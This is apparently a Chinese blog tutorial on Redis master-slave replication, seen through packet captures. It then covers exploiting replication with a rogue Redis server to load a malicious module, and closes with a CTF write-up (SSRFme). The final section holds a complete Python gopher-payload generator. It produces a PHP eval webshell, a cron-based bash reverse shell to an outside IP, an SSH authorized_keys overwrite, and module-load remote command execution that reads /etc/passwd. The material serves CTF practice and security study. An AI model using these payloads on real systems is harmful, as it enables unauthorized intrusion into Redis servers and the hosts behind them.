Redis 主从复制
具体就不说了 放几张图
具体参考其他文章
这里引用 Redis主从复制 的几张图
从服务器 通过 slaveof
命令与主服务器建立联系
从服务器(slave) 复制主服务器信息到 从服务器
主从复制的具体实现
从流量上分析具体如何实现 数据复制
先建立两个docker 镜像
docker inspect 0961f6b1c44a |grep IP
ip 分别为 172.17.0.2 、172.17.0.3
172.17.0.2(slave) 为从服务器 172.17.0.3(master) 为主服务器
tcpdump -i docker0 -w redis.pcapng
抓取docker流量
master 随便设置一个键值
协议中字符含义
从机(slave)执行slaveof 172.17.0.3 6379
之后 主从进行的通信如下 红色为 172.17.0.2(slave)
PING
命令:测试连通性
REPLCONF
命令: 在主从之间交换复制信息
PSYNC/SYNC
命令: 从机状态与主机同步
上述主从就建立了联系 ,因为都没数据所以不存在信息交换。当同步之后 从机会定时与master进行通信
如果主机数据改变就会与从机进行数据交换
此时从机 就获得了 对应的数据
整个过程如下
Redis 主从复制漏洞
redis 也是可以加载自定义函数,需要自定义so文件
类似于mysql 构造执行命令的函数
利用过程如下 引用· 浅析Linux下Redis的攻击面(一)
这里比较重要的就是全同步
会从主机(master)接受 并保存到本地,因此可以伪造 数据,使得保存我们自定义的数据,及恶意so 文件
大致过程就用如下
利用一 :被动连接模式
适用于目标Redis服务处于内网的情况
- 通过SSRF攻击Redis
- 内网Redis未授权访问/已知Redis口令, Redis需要反向连接redis rogue server
构建恶意redis ,让目标成为恶意redis 的从机(slave)
https://github.com/Dliv3/redis-rogue-server 这里用这个脚本
构建恶意redis服务器
python redis-rogue-server.py --server-only
开放的端口为 21000
然后让目标机 设置接收数据存放位置 默认的话为 config get dbfilename
值,这里设置为exp.so
然后 设置主从关系slaveof 172.17.0.1 21000
这样全同步的数据就会储存在exp。so
文件里,具体内容由脚本完成
具体关键流量如下
脚本关键代码
利用二: 主动连接
适用于目标Redis服务处于外网的情况
- 外网Redis未授权访问
- 已知外网Redis口令
在公网服务器创建恶意redis服务
python redis-rogue-server.py --server-only
然后执行脚本
python redis-rogue-server.py --lhost 远程ip --lport 恶意端口 --rhost 目标机器 --rport redis端口
这里用docker演示
开起脚本后
python redis-rogue-server.py --lhost 172.17.0.1 --lport 21000 --rhost 172.17.0.3 --rport 6379
成功加载模块
案例
利用方法一 内网
网鼎杯-青龙组- SSRFme
ssrf 访问到hint.php, 因为没有写的权限
又给了redis 密码, 可以利用主从复制
因为在buu 上复现 ,无法连接外网,就开个linux lab 上伪造redis
这里因为auth 原因只能用gopher 进行利用,在抓包过于繁琐 利用如下脚本构造,生成payload
#!/usr/local/bin python
# coding=utf8
try:
from urllib import quote
except:
from urllib.parse import quote
def generate_shell(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_reverse(filename, path, passwd, payload): # centos
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_sshkey(filename, path, passwd, payload):
cmd = ["flushall",
"set 1 {}".format(payload),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"SLAVEOF {} {}".format(lhost, lport),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ", "${IFS}")),
"SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/{}".format(exp_filename),
# "MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def rce_cleanup():
exp_filename = "exp.so"
cmd = [
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm${IFS}/tmp/{}".format(exp_filename),
"MODULE UNLOAD system",
"POST"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
def generate_payload(ip, port, passwd, mode):
payload = "test"
if mode == 0:
filename = "shell.php"
path = "/var/www/html"
shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
cmd = generate_shell(filename, path, passwd, shell)
elif mode == 1:
filename = "root"
path = "/var/spool/cron/"
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.1.1/2333 0>&1\n\n"
cmd = generate_reverse(filename, path, passwd, shell)
elif mode == 2:
filename = "authorized_keys"
path = "/root/.ssh/"
pubkey = "\n\nssh-rsa "
cmd = generate_sshkey(filename, path, passwd, pubkey)
elif mode == 3:
lhost = "174.0.11.37"
lport = "21000"
command = "cat /flag"
cmd = generate_rce(lhost, lport, passwd, command)
elif mode == 31:
cmd = rce_cleanup()
protocol = "gopher://"
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload += quote(redis_format(x))
return payload
if __name__ == "__main__":
# 0 for webshell ; 1 for re shell ; 2 for ssh key ; 3 for redis rce ; 31 for rce clean up
# suggest cleaning up when mode 3 used
mode = 3
# need auth or not
passwd = "root"
ip = "127.0.0.1"
port = "6379"
p = generate_payload(ip, port, passwd, mode)
print(p.replace("gopher://127.0.0.1:6379","gopher://0.0.0.0:6379"))
生成的payload 在进行编码 请求